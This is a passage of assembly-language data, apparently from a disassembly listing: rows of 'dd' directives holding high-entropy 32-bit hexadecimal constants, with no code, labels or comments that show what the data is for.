		dd 36F722FAh, 45BDB290h, 0B08A314Ah, 686B1048h,	6109B0EAh
		dd 0BD04D47Bh, 0DDAF2F15h, 7E877F29h, 0CC147F19h, 0B6BBC13h
		dd 2200327Ah, 511591DDh, 44C2DBF4h, 0D70D8529h,	7A202A99h
		dd 67B9E4BDh, 0C7520000h, 117FEB9h, 185ABF85h, 0C4AAF9F2h
		dd 1629108Eh, 8720C851h, 2F7C7EB5h, 0BBE019CDh,	12AD1DE0h
		dd 3062F880h, 9594583Ch, 2BDBB70Bh, 70BAFBC0h, 0F53985C0h
		dd 253658D3h, 557D4ADFh, 0D5727B7Bh, 9E2F9DF1h,	13C9E73h
		dd 0BD31D264h, 5FBE6399h, 0EE4B11EDh, 0D84A153Fh, 0DA0143F9h
		dd 2F1E385Fh, 0D92F356Eh, 0AD2220A7h, 0C89D7FFBh, 0ADB6AC2Bh
		dd 85CA353Bh, 2CABB93h,	744FB000h, 8CA8019Eh, 69C7800h
		dd 3A71F74Ch, 790F0013h, 61D1555Eh, 1109D781h, 27E7FB0h
		dd 7F104990h, 9F4F801Ch, 0E3C041DEh, 0AAA40182h, 0CB96FD00h
		dd 71BF6692h, 5B649041h, 0B85DC325h, 0F4DEAF84h, 5856D5CBh
		dd 0BBA72F12h, 7BA6A04Ah, 0BDE1FF24h, 5C5405DEh, 0A21E9EBBh
		dd 0DDD007Bh, 57FFAD02h, 0D81B1E68h, 0CE906FA8h, 233E7AB0h
		dd 122E3BF1h, 0E9A2F504h, 0F796908Fh, 9BB2A005h, 0CF41ECC8h
		dd 0F8F731FAh, 4B78E3A7h, 0BC01ED66h, 11DC13C0h, 9C10EB34h
		dd 98E812DDh, 0AF9C04B2h, 0EBD9A8F3h, 0B5B7F28h, 67FB60ECh
		dd 2DF06E70h, 0E9C0B96Fh, 42B50F7Bh, 90FDF80Dh,	93A95590h
		dd 0B65AD17Ch, 0D1CCE2B9h, 0BD294215h, 0BB0630C4h, 0E0B584Ah
		dd 91F84A7Eh, 370125FEh, 1CB2B06Eh, 1BF43911h, 6E689D5Fh
		dd 5C84EDDAh, 1E79C20Bh, 68099708h, 0AC3A594Eh,	0EEE01394h
		dd 0BDBFF680h, 2B1432B3h, 24F79D12h, 89BD6A27h,	8F7940BCh
		dd 3C917201h, 2623E1B2h, 20D5A342h, 60F8BC68h, 2AE1A051h
		dd 0B434601h, 0D7D5FBEh, 0EE0203B8h, 87717DBFh,	0E94A7832h
		dd 0FC35DC3Fh, 644DCDBFh, 92966018h, 304D2890h,	23792096h
		dd 1F7E91Ch, 4137FF25h,	0A8FF9803h, 14522F03h, 0D9891EEh
		dd 19216D32h, 31A97D9Dh, 4BCB6D7Dh, 5D00BC4Ch, 0DA1E3DEFh
		dd 927FA9ECh, 2F4698AAh, 207F158Dh, 8F94CE13h, 0CCB9BF61h
		dd 4BB18FEh, 5C845997h,	87F6FA89h, 3C989DF3h, 29008AC4h
		dd 0BF696C2Ch, 0EBAAAE52h, 0DA938F22h, 4D168062h, 211A4E6h
		dd 4F9EBACCh, 2FC133F2h, 0F6E63F14h, 0A8CDA95Ah, 4A2B0040h
		dd 23F8285Fh, 8CA9D9BDh, 3E827550h, 4F5DF9C8h, 0BCE4F911h
		dd 1D931Ah, 0D42942A0h,	0BCA0DD6Fh, 314FF5B5h, 29FF3425h
		dd 5070EC29h, 0DF658725h, 1A7EA910h, 7AA20613h,	0B3F31902h
		dd 3146555Fh, 512C0F98h, 0D24CA7C9h, 0C5584AD9h, 0B06EE723h
		dd 30D30D94h, 42646676h, 0AC490ACh, 4FC0026Eh, 7BC87153h
		dd 40E6B406h, 0FA4C1BECh, 4EBF7603h, 0CFA74F79h, 2550D240h
		dd 0FE89F7A0h, 0B5FF5FDEh, 0CCA50Eh, 0DB26B11Fh, 294AC503h
		dd 94F0BCECh, 611925DAh, 62C0FF6Dh, 5B0F885Eh, 0F272AB83h
		dd 9D97D5Dh, 3DF83140h,	0E3EA5F61h, 0CE9AD319h,	0FB1D0E82h
		dd 1A6AC175h, 8BD392Ah,	0BF1CFCB9h, 13D6AF77h, 93D20FEh
		dd 4D9AC1B5h, 0D73DD9B7h, 595EF628h, 0B57ABEh, 795C72D6h
		dd 1E3876DDh, 0D28008FFh, 848BB2F8h, 8B05042Eh,	1FAD2CFBh
		dd 84633FFFh, 3961F895h, 82F20057h, 2DB74BAh, 454F2F7Bh
		dd 0C0A74120h, 8CCD001Dh, 23AF92EFh, 0D700A9D4h, 54B357B0h
		dd 48AD442Fh, 0FC13E45Fh, 0F9321772h, 7072F8BBh, 0DDF54A9Ch
		dd 0D66A2F91h, 94A1C407h, 14E1B04Ch, 0AD02FB32h, 0EFD5B1BBh
		dd 0BFF1FD13h, 0F59A4225h, 8764046Fh, 0F93709EBh, 49976DFFh
		dd 10771F3h, 0FF6927B7h
		dd 67D3489h, 2F06CECFh,	37D661D0h, 0AB764E60h, 0FF470986h
		dd 37FD9641h, 3BE502CDh, 0F7C09930h, 459532FDh,	59850429h
		dd 0C4B6EF2Eh, 4E82A6E4h, 52E153BBh, 856F1DEAh,	657BF89Ah
		dd 0EA0B85C4h, 0E63F2CF1h, 3E9CB522h, 5EC90111h, 0E3136E25h
		dd 0AD133A67h, 308D8F05h, 188876FEh, 37B52FFCh,	801B9159h
		dd 435AFC9Fh, 30C61A22h, 0CA7F7C3Ah, 0E0136D09h, 0CB2FA141h
		dd 61EE850Eh, 10DED4B5h, 0F173155h, 587CC8Eh, 6488374Ah
		dd 6538006Ch, 23B90261h, 0A0059FEh, 3AA6509Dh, 4A928DE2h
		dd 12C1C535h, 0A260FE40h, 9D0CAD95h, 56DC73F6h,	30BC916h
		dd 1877126Fh, 0DCB818Eh, 7F4C735Bh, 40CD6B54h, 1203D7F8h
		dd 0FF213D0Eh, 0AF382177h, 0DCA73CF1h, 1D56D653h, 146100B2h
		dd 0FB6429B2h, 0DC8B12EFh, 0C5BD3072h, 51017968h, 9688EA50h
		dd 8C2EADB7h, 0A402A7C6h, 637F70C0h, 231E07Dh, 965B253Eh
		dd 0C6719153h, 9B855D2h, 0E24A25EBh, 896AF2CDh,	6BE82A78h
		dd 8D46E6A0h, 49852912h, 715BE749h, 58484406h, 0B57345B4h
		dd 0AC806659h, 0A425CCEAh, 0F74700CEh, 731A4D82h, 0B100E130h
		dd 814F8345h, 3B56505Bh, 0AD9AFDBBh, 377FF657h,	0AA6A00F2h
		dd 5EFB1503h, 0C1353997h, 5F9E14F6h, 0C64CC740h, 0BE3A1CCAh
		dd 0DCB709BBh, 250E55h,	9A60EBD1h, 577A6B07h, 0BD6EBD57h
		dd 3EC6F5A5h, 25FA8B39h, 1137C5D8h, 0DFBE6F23h,	503BFE65h
		dd 0C641DEB7h, 8483FD6Ah, 0BB001809h, 2C25E2C0h, 0A72EC7BFh
		dd 4550DDD3h, 1E93324Dh, 6F2109FCh, 7BE09E3Dh, 395FE2FDh
		dd 0E9925B25h, 2515FF59h, 0C34C13C8h, 0DFC1E309h, 4EFF511Ah
		dd 5B129B52h, 0C4568588h, 8D291405h, 23FB2019h,	5E996092h
		dd 0CDB82A61h, 5F5141DFh, 0C59D2B90h, 82BD7E02h, 71323BECh
		dd 0A92DD4B6h, 0C2E2D826h, 0BF632DEh, 82D4B7D5h, 0CB95C06Fh
		dd 9BBF97Dh, 847067B3h,	8533600Ah, 6192EDD1h, 0ABFBC406h
		dd 0D086FEh, 0CE91548Dh, 8ED2976Ah, 7A04BBF0h, 5B7D055Ah
		dd 3C1DCCFEh, 52213Fh, 666D024Dh, 0D1B816h, 0EB50D833h
		dd 0BC5FFE31h, 0CBF4CAD4h, 0B66580h, 14B01EF3h,	911363B3h
		dd 0B804C4A3h, 5B0A0521h, 18B8C91h, 0F99FFC45h,	422500A6h
		dd 72C7553Ch, 0AB34E300h, 11A0B9Ch, 1258BF0Ch, 95166922h
		dd 0BD236598h, 6DB2CD5Eh, 3CC6E309h, 0FF896771h, 724DF3D1h
		dd 56DBB2FFh, 6C4527Fh,	73785D93h, 75277FD9h, 0B37AF1C2h
		dd 295406Bh, 133795h, 2DDFD7AEh, 56129D88h, 5C248D0Fh
		dd 764B20BEh, 2801A190h, 2FCA75Ah, 35200886h, 811569B5h
		dd 604E9DFAh, 54142E0Eh, 89AD5AE6h, 3F7D612Dh, 35848086h
		dd 4BD64502h, 0FB300D02h, 0F61A860Fh, 0C4F2E0C7h, 491C3370h
		dd 720090AFh, 0E18D4B56h, 2038B8E4h, 3E9021A9h,	4CFC2C4Bh
		dd 0C7423CE2h, 0E4B2ED77h, 0C633C2F6h, 4BDB4CFDh, 0E119B63Eh
		dd 0EE78258Ch, 0E301FB80h, 0BB0282CDh, 0B5F692B4h, 11EE7F9Eh
		dd 1B6B59Fh, 6A34B7Ch, 0D11DD4D9h, 0BB50F801h, 3BC7B620h
		dd 0FC8AEF51h, 88BF9B2Ah, 68FBC215h, 2D75D140h,	5195B183h
		dd 0B82FD725h, 0D1D2F448h, 0D96A0720h, 49654875h, 237BB51Ah
		dd 0F9E0FED1h, 40699247h, 0CFE2BB1Fh, 0CC56C225h, 431C45D7h
		dd 1984F124h, 8392E50Ch, 811814B0h, 0BA3C6900h,	0FE8B5B47h
		dd 1670E633h, 6385A9F6h, 8D2DB07Fh, 0F9237927h,	7EEC9116h
		dd 11D9B516h, 0F9CE8CBEh, 42611DF3h, 202E9631h,	892C741Ah
		dd 140166F4h, 364F82D9h, 0BC2AE8C1h, 15E68498h,	81ECE2BEh
		dd 17F9C712h, 2658BC7Eh, 11083356h, 892B9810h, 0FA83207Dh
		dd 0A073F7D1h, 8DC6EB01h, 15AE87E9h, 0C4454020h, 0BE00553Dh
		dd 15DAB13Ch, 5B70AC4Ch, 967CED4Bh, 5F30AE05h, 4E4964C1h
		dd 0AD6844C1h, 1084D02Dh, 0DE11213h, 21039B02h,	0A75DCB80h
		dd 99D7618h, 0B654172Dh, 669C5759h, 0FB5B1620h,	0DA8BADD1h
		dd 226C8E7Fh, 12EE9421h, 9300F210h, 1E552B04h, 5C09261Ah
		dd 0B9867B84h, 79509CEBh, 376A884Bh, 0F0622C00h, 0C7FF9D13h
		dd 5E47659Ch, 989BAA6Ah, 6BB64C0h, 284FCAC6h, 0D74715F6h
		dd 26D4CB28h, 979F9DB9h, 0BAA253h, 0AEDF0297h, 99E87Ch
		dd 0FD4F2F25h, 4B0FF569h, 0E4845F4Bh, 0C0649BAFh, 2009E5E9h
		dd 4F580BA1h, 3E0A270Ch, 0EABF6103h, 9D09C460h,	0ECE4ED55h
		dd 0CB17E2B9h, 9F9BFC61h, 40338B92h, 0F4B59D8h,	5E9B3EEFh
		dd 9C110D8h, 63EACDBBh,	293207D0h, 0D6D25312h, 3A00DC03h
		dd 343C93EBh, 3901DDD2h, 9D89A36Dh, 9654101Dh, 98FB75DAh
		dd 1D967070h, 0ED98F420h, 25B73D09h, 0F6348080h, 254577D7h
		dd 0A1904009h, 0DA0076AFh, 0AC3406D4h, 0E4160B98h, 777F13E4h
		dd 8FD4FB5Dh, 0EC5FEFE8h, 0F916DE03h, 4EA36BBFh, 1C77DD8h
		dd 34C53638h, 704396E5h, 3700BA57h, 0CBA1BB4Dh,	996105C2h
		dd 0ED7B8059h, 937F6036h, 4D01707Ch, 0A2ADF778h, 0BC2F820Fh
		dd 0B15BA3D8h, 0DD2A4BCFh, 2B6A6B20h, 9FFE7100h, 0BFD08095h
		dd 0F8010909h, 8797FF7Bh, 1AEF369h, 6D16D5AAh, 0B2282F32h
		dd 81B28B6Ah, 0F94BC652h, 13898BC8h, 0FF158DBDh, 605A4F6Fh
		dd 21718CB2h, 4C056D75h, 0D2181FE2h, 123D9681h,	4D23F32Fh
		dd 2C8DACF5h, 42323CBh,	0FF1E5D9Dh, 4A36D638h, 0A01BB705h
		dd 16FF863h, 0D7F78271h, 0C50D8D01h, 70337E07h,	2038E18Eh
		dd 31D08E8h, 6C8BDF05h,	0DC90F5BEh, 9C254B37h, 997E5ABh
		dd 0CA7B0504h, 17F67ED0h, 0C98FC029h, 84EC2FD6h, 23EF63C1h
		dd 17387094h, 0E59A1325h, 4A8C11A6h, 60CA87F8h,	4573DEF5h
		dd 9202C4FCh, 3C12F3E6h, 27885E85h, 0CD013B37h,	0F9AB6022h
		dd 0BB51D07Fh, 0A597DD8Fh, 7BEAFC73h, 0BBEB0ED6h, 4A35A453h
		dd 58C3F3EEh, 0F03A80ACh, 0CCA95Bh, 9DB51B2h, 8A0CC40Eh
		dd 9F2E810Ah, 79089B85h, 0F35F120Fh, 0DD8A126Ah, 814A73BCh
		dd 2144EE1Fh, 7810ADF7h, 0A50941ABh, 0D8B3F6BCh, 0D58A2287h
		dd 38F16490h, 0A7C3002h, 591DFB42h, 22550096h, 76789658h
		dd 0BCEBAD00h, 0DC2B721Fh, 955B7192h, 83BBA1A3h, 0E70F16D9h
		dd 3203B381h, 0F9A461B5h, 0C828585Bh, 0B218F64Fh, 0B80301Ch
		dd 55D81E07h, 35E0F66Bh, 96AD8D09h, 17571316h, 851731B8h
		dd 0D7BC305Fh, 90CC644Bh, 9CE912FCh, 3934FF02h,	0D8AFC112h
		dd 3A01C829h, 0A32A73B4h, 122F2C57h, 0B04CA74Bh, 0BCB6DE4Ah
		dd 46664090h, 9D007D0Dh, 0E77FD4B9h, 2B393D0h, 98C8A130h
		dd 4D5E9737h, 0F6FCF625h, 0C2734C12h, 0E3FF24FBh, 0D38081B1h
		dd 0CD7A5F57h, 0F1B2602Ah, 2AFB0C5Ah, 68D2C148h, 4ADC1CBBh
		dd 20799018h, 67ED2C35h, 3C9EA087h, 0FC941E11h,	1BE026F9h
		dd 0CA13B1C9h, 27BBFFBFh, 0E1CD40B1h, 97D8AA4h,	0D7F8FB00h
		dd 60405679h, 0CE2D7399h, 173001E4h, 76FED6B6h,	492D60BEh
		dd 0D49EFE05h, 22C0599Ch, 20F9B47h, 0A78C8511h,	0F2F789CEh
		dd 0EB964A58h, 50FB1161h, 737B77EEh, 0C4ECA8F9h, 481F3552h
		dd 0C900A056h, 0ED0F0240h, 0C0F1BD7Eh, 0FB5A44D6h, 393F0535h
		dd 0AD61A915h, 4DBD8253h, 7979771Ah, 1788046Bh,	14118D21h
		dd 2F0172A2h, 0AE5DF8D1h, 434EEC12h, 0DE6E3609h, 2B549850h
		dd 0F51101DFh, 94D052C7h, 57D8C660h, 0CBD4543Ah, 9F51E9D8h
		dd 0FA419B52h, 0B9047DDEh, 2BCF895Bh, 0BD046FA2h, 0AAFD2F43h
		dd 581FA8A7h, 111C931h,	0B113B55h, 5090DE5Ah, 3C3F3B64h
		dd 0DBB9175Dh, 2F2488BEh
		dd 8F253918h, 4B5FD932h, 0B8F6E990h, 50182D7Bh,	5F7D915Fh
		dd 1061E72Bh, 810113F9h, 0CFE73DDFh, 0E39A6A1Eh, 0ADC019C8h
		dd 17CBA3FEh, 0AC8BF5E9h, 796189B7h, 3C73E9D7h,	1F96B50h
		dd 63526033h, 6BFAD526h, 1EA5058Ch, 0BEEB28E8h,	0A1B3D389h
		dd 4E453979h, 40ECD4FDh, 92701B39h, 1B57537Ah, 1AA83FFDh
		dd 878018Ch, 0CA9019AFh, 0BA843BC4h, 92EB23BCh,	0EB1CB04h
		dd 73078217h, 2F000666h, 863B23E4h, 0BF6EB957h,	96941F9h
		dd 0F4BCF48Bh, 1EF40E09h, 296475F3h, 1496F885h,	801FDEEBh
		dd 0DCD24DCAh, 9DAB488Bh, 6FFE5D25h, 62F22351h,	0A0B75574h
		dd 0B8801C91h, 2C7A4B55h, 5EB49709h, 0E5F3F62Ah, 82F3EC19h
		dd 77D04DEFh, 839B4679h, 0E6AF842Dh, 0F2EB0972h, 9FC67DFBh
		dd 852F5498h, 79AEF331h, 0D9181Dh, 0DA674033h, 0FF4EAD6Bh
		dd 0F9E67FE5h, 80D2B9B5h, 0D94EDFE2h, 0F7282DB4h, 7B27Fh
		dd 50602C82h, 0DA614B5Ah, 0C037D0CAh, 0F80EB566h, 39472C70h
		dd 85C6900h, 7C51FFD2h,	12B93301h, 882AF95Ah, 0BE390DF7h
		dd 0C2FD0C24h, 25EAB45Eh, 54545645h, 644ECDC9h,	786B6017h
		dd 4485DF5h, 0D59A24Ch,	0C852FF93h, 636EFFh, 0BB6656EBh
		dd 975B64B2h, 0F232C58Fh, 17F70E2Dh, 83F8E288h,	6FEED510h
		dd 959DEEBFh, 2A4266CDh, 0FFA6C293h, 8A430DCCh,	5E84BB0Bh
		dd 0F4D0D95Bh, 4C7D4Dh,	5CC4DE68h, 8D295A0Bh, 76209120h
		dd 84894A31h, 0D06BAB97h, 26241923h, 0D7F3A102h, 606C54CAh
		dd 0EC3FC781h, 50288712h, 3093DCF8h, 0D6BD6D74h, 324C730Bh
		dd 27C754A3h, 80D83D7Fh, 16967E34h, 8D4CA3E8h, 65D12A8h
		dd 23876FFFh, 859A0416h, 0A4E8BCC7h, 69C5A1AFh,	394B8FEh
		dd 343E0AB0h, 6BA12B84h, 50722461h, 9A89B32Ah, 744B7B5h
		dd 590656B7h, 28039851h, 90F9E599h, 9B34E19h, 5FC68E1Dh
		dd 0BF0C1864h, 9C3A32EDh, 872A00AFh, 926D7638h,	0D82B0ED5h
		dd 6001D35Bh, 4158531h,	0C909E432h, 0B17F1F4Ah,	0A16E89ABh
		dd 0A7B23AD8h, 115F4DB8h, 5B913FAh, 0BB059965h,	900960DCh
		dd 0A8325E77h, 3AA9B473h, 1D5C06A8h, 7B5B130Ch,	38883BA2h
		dd 13A3FCAFh, 513BA729h, 65BC2B43h, 0FBD3C62Dh,	0FF2A9AD1h
		dd 0B2AFE034h, 259DC289h, 0F1F02216h, 0BA858903h, 0A7DE1219h
		dd 0B69902DCh, 3B1958BBh, 0F978F8D5h, 4B809F68h, 8CEC0F40h
		dd 0DEB1C00h, 0CC9BF650h, 3C830984h, 6DFF5B04h,	9819455Ch
		dd 0E905FF69h, 0D8ED5DB1h, 0A801A5E2h, 33CF275Ah, 5842ECFEh
		dd 38A53600h, 95153D04h, 0EA2601CEh, 5160508Eh,	0CABBCC5Eh
		dd 6C31F20Bh, 37235561h, 965E83B3h, 12E7A710h, 84D303F9h
		dd 770CAA68h, 23B1F102h, 0CABEB35Dh, 4166D53Dh,	924BCD02h
		dd 740AC873h, 0A76D2D3Bh, 0A15B46C3h, 84689EB4h, 50E6B20Eh
		dd 0E04DB6D7h, 128D8735h, 0ABF655E5h, 48050A7Ah, 0A0B8DA02h
		dd 294001E0h, 3EE70581h, 0AE560C66h, 7D3EBC7Ah,	0EBD95F00h
		dd 0FF17428h, 1AEC864Ah, 0F7D860A0h, 0C7240D00h, 0EEF1A1ABh
		dd 46B81315h, 1CDAFEFFh, 708BD897h, 7FD21627h, 0F9776F1Ah
		dd 0EEBD96C0h, 0A6BFB4C5h, 8FB9A4D8h, 0CA926081h, 556884Eh
		dd 0D1FF0014h, 5C7628BBh, 9D8A4F4Eh, 60025D22h,	6A61D98Ah
		dd 71E3DB02h, 608A21DDh, 71483339h, 0D1A69685h,	4B81EBE4h
		dd 510117E5h, 0ED0A205Fh, 0F3AC3725h, 0E9F804D9h, 0E738AF63h
		dd 80B49272h, 82046588h, 0B340E856h, 404A42h, 16E5B4D4h
		dd 0D381987Dh, 1118F70Bh, 0E35D512h, 0CF601D97h, 8FD7DEh
		dd 0A23D6B4Ah, 60418C3Fh, 60D8EC5h, 974420BAh, 505B617Ch
		dd 1AE26C24h, 89788F07h, 938F0AFh, 8A091C1Dh, 5F6F4F31h
		dd 2808402h, 0BADD8A2Fh, 6367A4A4h, 6725090h, 957A07CAh
		dd 90CF4EBDh, 3F8CFD18h, 7F3A339Dh, 0D30D2F8Eh,	8F550554h
		dd 992A9E52h, 0D50B806Bh, 7889BB8Dh, 7F7CF300h,	920A2C9Fh
		dd 0F8DF09FCh, 4CD3E22Bh, 420F0988h, 0FAC0BEB3h, 5C9F0CDDh
		dd 534604Dh, 0F8F3E080h, 0EE024C6Fh, 0A5B529CAh, 377B2913h
		dd 0B0254C11h, 0BF00647Bh, 94AA34Bh, 0F0704AE6h, 8A16DE5Eh
		dd 44FF61E7h, 0E811DDFBh, 4D26CC2Dh, 96B23160h,	20A3976h
		dd 12EF8161h, 74E2A345h, 0DF712737h, 6BA65EA5h,	14796C02h
		dd 0E0EFB57h, 7241D64Eh, 894044E4h, 745FDB90h, 9D2B6123h
		dd 292F6491h, 963046C8h, 93EEAC33h, 1A88D616h, 14DA0036h
		dd 0C8C9E3DDh, 0BF12EC30h, 4BAA98A4h, 454DE74h,	3D5A7869h
		dd 85DBD09h, 0C82B12h, 3945A416h, 0D1548B05h, 7507C56Ch
		dd 21276C42h, 0BDE896B4h, 3A5D698Bh, 0B4515FFFh, 8D100B12h
		dd 7C1696D9h, 2C48A6A8h, 47B53D71h, 1FF1950Dh, 0D18703E1h
		dd 3758E8A4h, 0BB0008F5h, 4E433642h, 174F922Ch,	0F321D42Ch
		dd 0A54AE901h, 0A0257917h, 0B518FAA6h, 2970FCEh, 744508E9h
		dd 562A445Eh, 540734B2h, 92DA5D4Ch, 6474DE46h, 6D0597C8h
		dd 5C826123h, 0C6D8C95h, 0A20D4BC1h, 88528452h,	0BADA8A05h
		dd 0EFF594E6h, 0BB021BE2h, 27091705h, 0B3605D74h, 70A5B95Ah
		dd 0F559B50Fh, 92EC3580h, 58A3AFEh, 0F2FD2E4Fh,	0B5E31360h
		dd 55572F2Fh, 0F44B50C7h, 0A609DC5Eh, 0F3B8232Ch, 94E6F07Dh
		dd 617D7E9Dh, 7B9509FAh, 0F54A59F8h, 0DAA66B33h, 0B74FDF2h
		dd 4B81EDDAh, 0C21A1077h, 0E15F1699h, 494E30C6h, 641271F9h
		dd 8FF95C83h, 8238CF49h, 0EBE0D44Bh, 0FEE5B9B6h, 0BBA0EB53h
		dd 9D39BD0Ch, 7FB961FCh, 0CAD16DDAh, 0BF6591C0h, 7B130AFAh
		dd 15C90142h, 4AB72F2Eh, 191F6D6Ah, 742F83F2h, 0EBA5CDBEh
		dd 2D0F2C20h, 3DFC0038h, 94ED015Dh, 292DD728h, 5BF6112Bh
		dd 68D2282Fh, 0D8D5739Dh, 0E000F81Eh, 3D61E6B0h, 9D2A3F10h
		dd 799AB242h, 0FB51B6F0h, 0AEC93FBAh, 0A93ABD3Bh, 1AA0F41Ch
		dd 5E8392BBh, 77338BD5h, 0BC12F584h, 494E7D0h, 63BF6601h
		dd 94282F9Fh, 3F53BD8Dh, 9C1D4946h, 3B19DC89h, 217AD35Fh
		dd 120360DCh, 0AF2CFD9Dh, 95798CF2h, 0F6B57CFAh, 55EF48Eh
		dd 577523FEh, 0E3437407h, 0F7A4805Fh, 71136ABDh, 0C97AAA01h
		dd 82EEA85Ah, 42BA4B15h, 7EEA7FB6h, 0CB91D9D7h,	5F728E5Bh
		dd 0F7AFFFD1h, 1BB7BB18h, 6D270A94h, 3362C095h,	7D3B7823h
		dd 9F53891Ah, 8BF4A090h, 951B61BDh, 0BB015B9Ch,	353E0B67h
		dd 0E46F5650h, 0B55E1B63h, 8B31E1E6h, 0DAD6B777h, 0F2C967E3h
		dd 53794261h, 82E3CF87h, 8BD3585Fh, 0C6F70h, 0D5E003C7h
		dd 61D75094h, 0EED91BBDh, 0BF3BB2CAh, 9DF929FBh, 0DA40C22Eh
		dd 9129355Dh, 91F38019h, 50E89AD3h, 0B6EA097h, 1FFE9E0h
		dd 0F44A76h, 43A90852h,	280FBCFBh, 0E20E8825h, 0FEF7DDFh
		dd 69A8D460h, 115C128Ah, 417604B4h, 452DBA28h, 4DC0A55Ah
		dd 69DDEA9Fh, 0D52A9512h, 9E3FE8F1h, 11E3C401h,	1BACC7BDh
		dd 0D9C018Ch, 4CA05CEBh, 8941E2C9h, 0F0851431h,	9D6202ABh
		dd 0B61426ADh, 0D29FDC49h, 4885024Ch, 93F780CDh, 95804EF5h
		dd 8100F64Ch, 9ACCF1EFh, 0FAB76096h, 6A53B751h,	4A3F611Eh
		dd 0C8D854F8h, 519D19B1h, 7C68C03Ch, 9512E132h,	0D1EC02B7h
		dd 3DD18304h, 0A16EAB6Ah, 0D5A20304h, 0C4B2A0DEh, 23A0B149h
		dd 0FD35AF8Dh, 46A25A07h, 72E75AECh, 0B7901FDAh, 0DE8B8E95h
		dd 0B80BEDD6h, 0A300476h, 0C1CC0BBEh, 7A05C54Fh, 0CDA84CE2h
		dd 0D7016700h, 7BFE3558h, 4092963Bh, 23BAEB83h,	877B125h
		dd 3725DCB6h, 0F95D0708h
		dd 7FE7C1ADh, 199E2EF8h, 0D9C91CC8h, 3B594973h,	7C0B3847h
		dd 7E9DF466h, 803A6056h, 31F460CFh, 3BAB54Fh, 20E96196h
		dd 0D1BF3702h, 5E527D8Fh, 0A2CF751Dh, 0FD0A299Dh, 5449D66Fh
		dd 2B714974h, 0A04D9046h, 529AF386h, 7EC4D064h,	567BEA03h
		dd 38AC5402h, 38D5D825h, 9716416Ch, 25DEB874h, 70C20BDFh
		dd 0D0CB7355h, 3C000E31h, 0E77C3B61h, 25B66F87h, 3D1C780h
		dd 40366D4Bh, 825DC465h, 7AD2AB01h, 3DB589CDh, 96273D38h
		dd 0FD01A079h, 2CD84F64h, 0EF7E303Bh, 6100AA80h, 0C1C05B59h
		dd 753497ACh, 0F446F48Fh, 78089396h, 5401B584h,	0BD89BF19h
		dd 8A6A2409h, 859D09C6h, 5A177410h, 2D4DF54h, 51439FBCh
		dd 0D8B2B9FAh, 2CD12960h, 950F4E97h, 303F2610h,	71AEDD5Fh
		dd 2BC48601h, 1E00897Bh, 0F916D990h, 8E005E70h,	0F2BB72C1h
		dd 973976A6h, 0B5552EBAh, 0FF491628h, 1882B19Eh, 1B5E7825h
		dd 6913542Dh, 299D0C71h, 29FFFD93h, 0F9308A67h,	0EB285E12h
		dd 41509300h, 658D892Eh, 0F7FEB50Ah, 80199BDCh,	0F238137Dh
		dd 0F94E566Dh, 31B230EAh, 5F964DBDh, 0C8FF5016h, 7509BB42h
		dd 70489B2Dh, 0ADFC4A3Bh, 8C19AC72h, 0D863E33Eh, 44F727B8h
		dd 9B500141h, 1C680256h, 2408C4E7h, 74BC7F4h, 626DD49Dh
		dd 421209A8h, 61136B38h, 123B5CF5h, 582AFF47h, 6BC21D88h
		dd 944E5D06h, 0FE8A9613h, 0EFD84DB0h, 48DD2B30h, 0BDB0E31Ah
		dd 0EE95281Dh, 5E297CB1h, 9D004741h, 0C61ECA6Dh, 2D4BC80Bh
		dd 356C6F9Dh, 2251CA4Ah, 21337D5Ch, 0B4483021h,	0B21C3EDEh
		dd 27C6869Ch, 0DE23D4h,	0B97C9533h, 811363D5h, 0A9D2CB05h
		dd 0FFC7689Ch, 76BA18B1h, 0E15AFC2Bh, 0E90104C1h, 9BC42BC7h
		dd 0C9F3DDFFh, 0E79B6AC1h, 6072EC80h, 95A1D08Bh, 2F082C45h
		dd 3D991161h, 255E49F8h, 6DC690A5h, 154DB381h, 0B2C812BAh
		dd 0D1620755h, 0B110CBD5h, 0EC86D70Fh, 9C3E1F22h, 0DA7F412Ch
		dd 0F805FD93h, 0F9138A31h, 6DE585Ah, 0ADEE19C0h, 0EC052813h
		dd 29622717h, 8D81D8BFh, 182DEF04h, 0F6FE9C30h,	0CAE0F72Ah
		dd 50709718h, 759A860Ch, 0E87BB716h, 23DD678h, 69A28FBFh
		dd 0E157946Ch, 212A2FDEh, 2E59BDBFh, 2A04AC14h,	9028CFEDh
		dd 2EB5B857h, 0BDDE8882h, 0EBF3CBh, 0B0ADCDA4h,	240E88Dh
		dd 9589905Fh, 87443071h, 26C2CFA3h, 860F0881h, 243FBB08h
		dd 0B3423287h, 61395C56h, 2AD5EB80h, 8E2C34B6h,	80604099h
		dd 85F087D6h, 5DAFABBEh, 0BF200B84h, 766DE8CDh,	2FB253A8h
		dd 36F3015Ah, 575B758Bh, 0D79FDDAh, 5EA3AB8Bh, 0FEBF0037h
		dd 0D98B5090h, 0F2C866E9h, 176D554Ah, 0AA651D64h, 7F09AA8Ah
		dd 9C5583E9h, 4FA44918h, 0ECB0BB07h, 0CDDF1B1Ah, 582C084h
		dd 21E4D6CEh, 0DC77AC2Dh, 0BA3165F6h, 8BE9A7C5h, 6F47D78Fh
		dd 97FB13ECh, 9ACABB4h,	80BDCB84h, 6718D77h, 752E5B81h
		dd 80F2DA69h, 96E7E567h, 502C175Dh, 97AF8851h, 1DB490Eh
		dd 86EF00C3h, 5ECDE993h, 0AE3E12A0h, 5FBA2F27h,	88B65400h
		dd 0B06DFCh, 270F81CDh,	417F9EAAh, 0FD2D5DBCh, 6B9DD931h
		dd 0ED4FBEA8h, 9B16B8A2h, 0C9F2040Dh, 8112AAF9h, 80DD2AFEh
		dd 676FBE06h, 7A907FD3h, 0F7813960h, 4123E1Eh, 0AF61F85Ah
		dd 20DB23F0h, 4D20A742h, 67F19A05h, 54CF1E51h, 0C859B941h
		dd 0BA608338h, 99E765B3h, 4C00AD71h, 9FB55104h,	5780BDC2h
		dd 469A69D8h, 6FF5C901h, 0B06116B4h, 0C1FF817Eh, 4D84040Ah
		dd 0E65646BEh, 8D201070h, 0A4C09511h, 346C19Dh,	2F79F42Dh
		dd 0CC3DD38Ah, 5E01F109h, 5B8B49A9h, 0A95CFF09h, 0C8AC4CFh
		dd 1ABCCBEBh, 6287AD95h, 6753D5B2h, 4ACCE115h, 0FA294EC3h
		dd 0D57B7F1Dh, 4A0BFD08h, 1320397Ah, 0B523600Dh, 9DD9C5C9h
		dd 8B1F212Eh, 71823ED1h, 86E90232h, 5849A55Eh, 4755133Fh
		dd 0F4CFFE49h, 0E23DC44Ah, 0AB2F01D5h, 0AC598889h, 5152CC2Eh
